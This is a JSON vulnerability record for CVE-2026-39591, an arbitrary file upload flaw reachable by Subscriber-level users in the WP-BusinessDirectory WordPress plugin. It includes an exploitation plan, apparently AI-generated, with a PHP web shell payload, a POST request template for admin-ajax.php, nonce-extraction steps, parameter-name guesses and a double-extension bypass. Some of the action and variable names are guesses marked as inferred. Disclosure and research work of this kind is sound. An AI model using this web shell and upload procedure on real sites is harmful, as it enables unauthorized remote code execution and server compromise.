[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fjpcWYMLZjdbEMOdvmRfcHMIHZxtzmEVYsvdh_8rF-5M":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"source_links":31},"CVE-2026-39591","wp-businessdirectory-business-directory-plugin-for-wordpress-authenticated-subscriber-arbitrary-file-upload","WP-BusinessDirectory – Business directory plugin for WordPress \u003C= 4.0.0 - Authenticated (Subscriber+) Arbitrary File Upload","The WP-BusinessDirectory – Business directory plugin for WordPress plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 4.0.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.","wp-businessdirectory",null,"\u003C=4.0.0","4.0.1","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Unrestricted Upload of File with Dangerous Type","2026-04-08 00:00:00","2026-04-15 18:50:01",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F25affa52-13a7-4726-b02a-5af78afa8acf?source=api-prod",8,[],"researched",false,3,"This research plan outlines the steps to identify and exploit the Authenticated Arbitrary File Upload vulnerability (CVE-2026-39591) in the **WP-BusinessDirectory** plugin.\n\n---\n\n### 1. Vulnerability Summary\nThe **WP-BusinessDirectory** plugin (versions \u003C= 4.0.0) contains a vulnerability where it fails to validate file extensions and MIME types during file uploads. While the vulnerability is \"authenticated,\" it only requires **Subscriber-level** permissions. The flaw typically resides in AJAX handlers responsible for uploading listing images, logos, or attachments. Because the plugin does not use `wp_check_filetype()` or a restrictive whitelist before moving the uploaded file to the webroot, an attacker can upload a `.php` file to achieve Remote Code Execution (RCE).\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Vulnerable Action:** Likely `wp_business_directory_upload_file`, `wpbd_upload_image`, or `wp_business_directory_ajax_upload` (inferred).\n*   **HTTP Method:** `POST` (Multipart\u002Fform-data)\n*   **Payload Parameter:** A file parameter (e.g., `file`, `async-upload`, or `logo_image`).\n*   **Authentication:** Authenticated (Subscriber or higher).\n*   **Preconditions:** The attacker must have a valid account and, in some cases, a valid nonce associated with the listing submission or profile editing process.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** The plugin registers an AJAX action via `add_action('wp_ajax_...')`.\n2.  **Handler Execution:** The handler function is called.\n3.  **Missing Validation:** The handler accesses `$_FILES`. It may check if the file exists but fails to verify the extension against a whitelist or use `wp_handle_upload()` with proper overrides.\n4.  **File Placement:** The code uses `move_uploaded_file()` or a custom wrapper to save the file into `wp-content\u002Fuploads\u002Fwp-businessdirectory\u002F` (or a similar subdirectory).\n5.  **Path Disclosure:** The AJAX response often returns the URL or local path of the uploaded file.\n\n### 4. Nonce Acquisition Strategy\nTo bypass CSRF protections (nonces) often required by `admin-ajax.php` handlers, follow these steps:\n\n1.  **Identify the Form:** Find the page where users submit or edit directory listings. This is usually a page containing a shortcode like `[wp_business_directory_add_listing]` or `[wpbd-submit]`.\n2.  **Locate Script Data:** The plugin likely localizes a nonce for its AJAX uploads.\n3.  **Extraction Procedure:**\n    *   Create a page with the submission shortcode:\n        `wp post create --post_type=page --post_status=publish --post_title=\"Submit Listing\" --post_content='[wp_business_directory_add_listing]'` (Note: Verify the exact shortcode name in the plugin source).\n    *   Login as a Subscriber and navigate to this page.\n    *   Use `browser_eval` to extract the nonce from the global JavaScript object:\n        `browser_eval(\"window.wpbd_ajax?.nonce || window.wp_business_directory_vars?.upload_nonce\")` (inferred variable names).\n\n### 5. Exploitation Strategy\n\n#### Step 1: Authentication\nAuthenticate as a Subscriber user to obtain valid session cookies.\n\n#### Step 2: Identification of Upload Action\nSearch the plugin files for the AJAX registration:\n`grep -rn \"wp_ajax_\" wp-content\u002Fplugins\u002Fwp-businessdirectory\u002F`\nLook specifically for handlers that process `$_FILES`.\n\n#### Step 3: Crafting the Payload\nCreate a simple PHP web shell named `exploit.php`:\n```php\n\u003C?php echo \"VULN_CHECK: \" . phpversion(); system($_GET['cmd']); ?>\n```\n\n#### Step 4: Execution of the Upload\nSend a multipart POST request to `admin-ajax.php`.\n\n**Request Template:**\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:**\n    *   `Content-Type: multipart\u002Fform-data`\n    *   `Cookie: [Subscriber Cookies]`\n*   **Body (Multipart):**\n    *   `action`: `[IDENTIFIED_AJAX_ACTION]`\n    *   `_wpnonce`: `[EXTRACTED_NONCE]`\n    *   `file`: `exploit.php` (Content: `\u003C?php system($_GET['cmd']); ?>`)\n\n#### Step 5: Locate Uploaded File\nIf the response is JSON, check for `url`, `path`, or `attachment_id`. If not, files are typically stored in:\n`\u002Fwp-content\u002Fuploads\u002Fwp-businessdirectory\u002F[YEAR]\u002F[MONTH]\u002Fexploit.php`\nor\n`\u002Fwp-content\u002Fplugins\u002Fwp-businessdirectory\u002Fuploads\u002Fexploit.php`\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Ensure `wp-businessdirectory` version \u003C= 4.0.0 is active.\n2.  **Create User:** `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n3.  **Find\u002FCreate Listing Page:** Search for the \"Add Listing\" shortcode in the plugin's `README` or code, then create a page for it to trigger the script enqueuing.\n\n### 7. Expected Results\n*   The server response should return a `200 OK` and ideally a JSON object indicating a successful upload.\n*   Accessing the uploaded file URL (e.g., `\u002Fwp-content\u002Fuploads\u002F...\u002Fexploit.php?cmd=id`) should execute the system command and return the output (e.g., `uid=33(www-data)`).\n\n### 8. Verification Steps\n1.  **HTTP Check:** `http_request(\"GET\", \"http:\u002F\u002F\u003Ctarget>\u002Fwp-content\u002Fuploads\u002F...\u002Fexploit.php?cmd=whoami\")`\n2.  **Filesystem Check:** Use `wp_cli` to confirm the file exists:\n    `wp eval \"echo file_exists(wp_upload_dir()['basedir'] . '\u002Fwp-businessdirectory\u002Fexploit.php') ? 'Found' : 'Missing';\" `\n3.  **Cleanup:** `wp eval \"unlink(wp_upload_dir()['basedir'] . '\u002Fwp-businessdirectory\u002Fexploit.php');\"`\n\n### 9. Alternative Approaches\n*   **No Nonce:** If `check_ajax_referer` is missing or the action is `-1`, attempt the upload without a nonce.\n*   **Parameter Polling:** If the `file` parameter name is unknown, try common names: `async-upload`, `upload_file`, `qqfile`, or `file_upload`.\n*   **Double Extensions:** If there is basic client-side validation, try `exploit.php.jpg` or `exploit.php.png` to see if the server fails to strip the trailing extension.","The WP-BusinessDirectory plugin for WordPress (\u003C= 4.0.0) is vulnerable to authenticated arbitrary file uploads due to a lack of file type and extension validation in its AJAX handlers. This vulnerability allows authenticated users, such as Subscribers, to upload malicious PHP files to the server and achieve remote code execution (RCE).","1. Authenticate to the WordPress site with Subscriber-level permissions or higher.\n2. Navigate to a page where directory listings can be submitted or edited (e.g., a page with the [wp_business_directory_add_listing] shortcode) to extract a valid AJAX nonce and identify the upload parameters from the source code or JavaScript environment.\n3. Construct a multipart\u002Fform-data POST request to \u002Fwp-admin\u002Fadmin-ajax.php using the identified action (such as 'wp_business_directory_upload_file') and the extracted nonce.\n4. Include a malicious PHP file in the request payload (e.g., shell.php).\n5. Execute the payload by navigating to the file's uploaded path, which is typically returned in the AJAX response or stored within the wp-content\u002Fuploads\u002F directory.","gemini-3-flash-preview","2026-04-17 19:46:57","2026-04-17 19:47:23",{"type":32,"vulnerable_version":33,"fixed_version":9,"vulnerable_browse":34,"vulnerable_zip":35,"fixed_browse":9,"fixed_zip":9,"all_tags":36},"plugin","4.0.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-businessdirectory\u002Ftags\u002F4.0.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-businessdirectory.4.0.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fwp-businessdirectory\u002Ftags"]